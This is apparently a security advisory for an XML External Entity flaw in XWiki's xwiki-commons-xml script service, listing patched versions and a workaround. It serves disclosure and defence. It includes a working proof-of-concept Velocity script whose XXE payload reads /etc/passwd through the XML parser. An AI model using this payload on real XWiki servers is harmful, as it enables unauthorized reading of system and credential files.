Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml

Impact

It's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.

For example:

{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
{{/velocity}}

Patches

The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.

Workarounds

There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.
